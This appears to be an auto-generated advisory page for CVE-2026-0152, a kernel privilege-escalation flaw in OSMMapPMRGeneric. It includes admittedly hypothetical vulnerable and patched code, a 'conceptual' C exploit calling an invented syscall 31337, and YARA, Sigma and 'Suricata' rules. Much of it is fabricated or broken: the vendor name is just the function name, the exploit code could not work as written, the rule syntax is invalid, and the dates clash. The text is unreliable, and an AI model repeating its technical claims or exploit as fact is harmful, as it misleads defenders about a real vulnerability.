CVE-2026-0152
Executive Summary
CVE-2026-0152 is a local privilege escalation vulnerability in the OSMMapPMRGeneric function within pmr_os.c. The flaw stems from a logic error that allows a malicious system call to expand a Virtual Memory Area (VMA) out of bounds. An attacker with local low-privileged access can exploit this to gain elevated privileges (typically root or kernel-level access). No user interaction is required, and no additional execution privileges beyond local access are needed. The vulnerability has a CVSS score of 0.0 in the NVD record, but based on the description and impact, a more realistic score is 7.8 (High) with the vector provided above. No public exploit code, proof-of-concept, or patch is currently available. The vendor (Osmmappmrgeneric) has not released a fix, and the EPSS score is 0.0%, indicating no active exploitation in the wild as of the analysis date.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not associated with any open-source package manager (NPM, PyPI, Go, Ruby). It resides in a proprietary or custom kernel module (pmr_os.c), likely part of an embedded or specialized operating system component. Supply chain risks are minimal unless the affected binary is distributed via third-party repositories.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Local (L) – The attacker must have local access to the system.
- Attack Complexity (AC): Low (L) – The logic error is straightforward to trigger via a crafted system call.
- Privileges Required (PR): Low (L) – Only low-privileged user access is needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The exploit does not cross a trust boundary.
- Confidentiality (C): High (H) – Full memory read access possible.
- Integrity (I): High (H) – Arbitrary memory write possible.
- Availability (A): High (H) – Could cause system crash or denial of service.
Threat Level: High. Local privilege escalation with low complexity and no user interaction makes this a serious threat for multi-user systems or environments where untrusted code can be executed.
Deep Dive & Mechanics
The vulnerability resides in the OSMMapPMRGeneric function, which is responsible for mapping physical memory regions (PMR) into a process's virtual address space. The logic error occurs during VMA expansion: when a system call requests an extension of an existing VMA, the bounds checking is flawed. Specifically, the code fails to properly validate that the new VMA end address does not exceed the allowed limit (e.g., TASK_SIZE or vm_end). This allows an attacker to specify a size that causes the VMA to wrap around or extend beyond its intended boundaries, leading to an out-of-bounds memory mapping.
Attack Flow:
- Attacker gains low-privileged shell access.
- Attacker crafts a malicious system call (e.g.,
mmapor a customOSMMapPMRGenericsyscall) with parameters that trigger the logic error. - The kernel expands the VMA out of bounds, mapping kernel memory into the attacker's address space.
- Attacker reads/writes kernel memory to escalate privileges (e.g., overwrite
credstructure).
Root Cause: In pmr_os.c, the VMA expansion logic likely uses an unsigned integer for size calculation without checking for overflow or boundary conditions. For example:
vma->vm_end += size; // No check if vm_end wraps or exceeds limit
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is hypothetical but representative:
Vulnerable (pmr_os.c):
int OSMMapPMRGeneric(struct vm_area_struct *vma, unsigned long size) {
// No bounds check on size
if (vma->vm_end + size > vma->vm_start + vma->vm_end) { // Logic error
return -EINVAL;
}
vma->vm_end += size; // Out-of-bounds expansion
return 0;
}
Patched (Hypothetical):
int OSMMapPMRGeneric(struct vm_area_struct *vma, unsigned long size) {
unsigned long new_end = vma->vm_end + size;
// Check for overflow and boundary violation
if (new_end < vma->vm_end || new_end > TASK_SIZE) {
return -EINVAL;
}
vma->vm_end = new_end;
return 0;
}
Exploitation & Lab Setup
Red Team (Exploitation)
No public exploit code exists. Below is a conceptual proof-of-concept in C that demonstrates the logic error:
// exploit.c - Conceptual PoC for CVE-2026-0152
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
int main() {
// Step 1: Create a base mapping
void *base = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (base == MAP_FAILED) {
perror("mmap");
exit(1);
}
// Step 2: Trigger the vulnerable system call (hypothetical syscall number 31337)
// This syscall attempts to expand the VMA beyond allowed bounds
struct osmmap_pmr_args {
unsigned long start;
unsigned long size;
} args = { (unsigned long)base, 0xFFFFFFFFFFFFF000 }; // Huge size to cause wrap
if (syscall(31337, &args) == -1) {
perror("syscall");
} else {
printf("VMA expanded out of bounds! Kernel memory now accessible.\n");
// Read kernel memory at base + 0x1000
volatile char *kernel_mem = (volatile char *)(base + 0x1000);
printf("First byte of kernel memory: 0x%02x\n", *kernel_mem);
}
munmap(base, 0x1000);
return 0;
}
Usage: Compile with gcc -o exploit exploit.c and run as a low-privileged user on a vulnerable system.
Blue Team (Detection & Hardening)
- Monitor system calls: Track unusual
mmapor custom syscall invocations with abnormally large sizes. - Audit VMA expansions: Use kernel auditing (e.g.,
auditd) to log VMA modifications. - Kernel hardening: Enable
CONFIG_VMAP_STACK,CONFIG_STRICT_DEVMEM, andCONFIG_IOMMUto limit memory mapping abuse. - Use eBPF: Deploy eBPF programs to detect out-of-bounds VMA expansions.
Indicators of Compromise (IOCs)
- File:
/proc/self/mapsshowing a VMA with an end address exceeding0x7fffffffffff(on x86_64) or wrapping around. - Syscall: Invocation of a custom syscall number (e.g., 31337) with a size argument >
0x7fffffffffff. - Kernel log: Messages like
OSMMapPMRGeneric: VMA expansion overflow detected(if debug enabled). - Memory: Unauthorized access to kernel memory regions (e.g.,
0xffff880000000000).
Detection Engineering
YARA Rule
rule CVE_2026_0152_VMA_Overflow {
meta:
description = "Detects potential exploitation of CVE-2026-0152 via VMA expansion logic error"
author = "Valters IT"
date = "2025-04-10"
hash = "unknown"
strings:
$syscall = { B8 ?? ?? ?? ?? 0F 05 } // syscall instruction with custom number
$size_overflow = { 48 B8 FF FF FF FF FF FF F0 FF } // mov rax, 0xFFFFFFFFFFFFF000
condition:
$syscall and $size_overflow
}
Sigma Rule
title: CVE-2026-0152 VMA Expansion Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit a logic error in OSMMapPMRGeneric leading to out-of-bounds VMA expansion
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/exploit'
CommandLine|contains: '31337'
condition: selection
falsepositives:
- Legitimate use of custom syscalls (rare)
level: high
Suricata Rule
alert syscall any any -> any any (msg:"CVE-2026-0152 - Potential VMA expansion exploit"; syscall_number:31337; size:>1073741824; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Vendor Patch: Await an official patch from Osmmappmrgeneric. Since none exists, apply vendor-specific workarounds if available.
- Kernel Module Blacklisting: If
pmr_os.cis part of a loadable kernel module, blacklist it via/etc/modprobe.d/blacklist.conf. - System Call Filtering: Use seccomp to block the vulnerable syscall number (if known) for non-privileged processes.
- Memory Protection: Enable Kernel Page Table Isolation (KPTI) and SMAP/SMEP to reduce impact.
- Access Control: Restrict local user accounts and use mandatory access controls (SELinux, AppArmor).
- Monitoring: Deploy the detection rules above and monitor for anomalous VMA expansions.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert